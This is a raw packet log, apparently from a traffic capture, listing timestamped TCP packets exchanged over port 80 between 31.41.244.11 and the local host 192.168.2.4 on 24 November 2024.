Nov 24, 2024 12:24:17.998349905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.998418093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.999192953 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.999238968 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.999376059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.999418974 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.000049114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.000092030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.000163078 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.000205994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.000847101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.000890970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.000916958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.000957012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.001687050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.001733065 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.001789093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.001832008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.002563953 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.002607107 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.002665997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.002717018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.003580093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.003623962 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.003683090 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.003726959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.004225969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.004267931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.004295111 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.004333019 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.005069017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.005111933 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.005189896 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.005233049 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.005940914 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.005985022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.006052971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.006093979 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.006927967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.006972075 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.007050991 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.007093906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.007570028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.007610083 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.007663965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.007707119 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.008378983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.008424044 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.008481026 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.008522987 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.009191036 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.009234905 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.009382963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.009423971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.010040998 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.010082960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.010103941 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.010149956 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.010895014 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.010951996 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.011111975 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.011161089 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.011713982 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.011764050 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.011862993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.011910915 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.012543917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.012598991 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.012639046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.012685061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.013423920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.013475895 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.013494968 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.013530970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.014220953 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.014286995 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.014331102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.014369965 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.015101910 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.015145063 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.015264034 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.015306950 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.015908003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.015952110 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.016000986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.016045094 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.016712904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.016762972 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.016778946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.016820908 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.017554998 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.017604113 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.017666101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.017709970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.018371105 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.018419981 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.018440008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.018481970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.019232988 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.019279957 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.019309044 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.019349098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.020051956 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.020097017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.020258904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.020302057 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.020909071 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.020966053 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.021025896 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.021069050 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.021717072 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.021769047 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.021847010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.021892071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.022576094 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.022634029 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.022653103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.022699118 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.023401022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.023452997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.023477077 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.023514032 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.024234056 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.024302959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.024326086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.024383068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.025055885 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.025103092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.025208950 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.025254965 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.025913954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.025954962 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.026021957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.026063919 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.026767015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.026812077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.026854038 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.026896954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.027585030 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.027630091 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.027672052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.027715921 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.028407097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.028470039 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.185723066 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.185817003 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.185919046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.185960054 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.186108112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.186152935 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.186196089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.186239004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.186964035 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.187012911 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.187021017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.187063932 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.187786102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.187833071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.187901020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.187944889 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.188615084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.188661098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.188807011 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.188853025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.189445019 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.189491034 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.189786911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.189831972 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.190311909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.190356016 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.190438032 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.190485001 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.191165924 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.191217899 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.191273928 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.191327095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.192007065 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.192054033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.192168951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.192214012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.192826986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.192888975 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.192913055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.192956924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.193625927 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.193670988 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.193731070 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.193773985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.194492102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.194560051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.194583893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.194622993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.195302963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.195353031 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.195420980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.195502043 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.196140051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.196211100 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.196259975 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.196312904 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.196969986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.197021008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.197082996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.197127104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.197807074 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.197850943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.197936058 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.197978973 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.198651075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.198694944 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.198760986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.198806047 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.199486971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.199532986 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.199599028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.199644089 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.200320959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.200366974 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.200428009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.200472116 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.201181889 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.201227903 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.201252937 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.201293945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.202033997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.202080011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.202101946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.202152014 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.202835083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.202883959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.202908039 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.202956915 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.203650951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.203696966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.203763962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.203807116 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.204499006 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.204539061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.204602003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.204644918 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.205353975 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.205410004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.205476999 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.205522060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.206176996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.206243992 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.206298113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.206340075 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.207214117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.207259893 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.207309961 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.207353115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.207946062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.207992077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.208040953 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.208082914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.208677053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.208723068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.208822966 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.208864927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.209539890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.209583998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.209636927 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.209676027 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.210357904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.210402012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.210458040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.210501909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.211199999 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.211241961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.211260080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.211294889 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.212044001 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.212090015 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.212162018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.212205887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.212910891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.212954998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.212980986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.213025093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.213700056 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.213741064 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.213756084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.213800907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.214529991 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.214575052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.214649916 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.214688063 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.215364933 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.215410948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.215472937 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.215514898 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.216202974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.216268063 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.216326952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.216368914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.217070103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.217116117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.217170954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.217211008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.217891932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.217936993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.217987061 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.218028069 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.218705893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.218751907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.218826056 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.218868971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.219619989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.219666004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.219959021 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.220000982 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.220547915 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.220592022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.220609903 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.220648050 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.221326113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.221371889 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.221394062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.221431971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.222038984 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.222083092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.222162008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.222204924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.222877979 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.222920895 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.223042965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.223084927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.223731995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.223776102 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.223825932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.223881006 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.224550962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.224594116 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.224657059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.224699974 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.225370884 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.225418091 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:18.225483894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:18.225528955 CET	49765	80	192.168.2.4	31.41.244.11
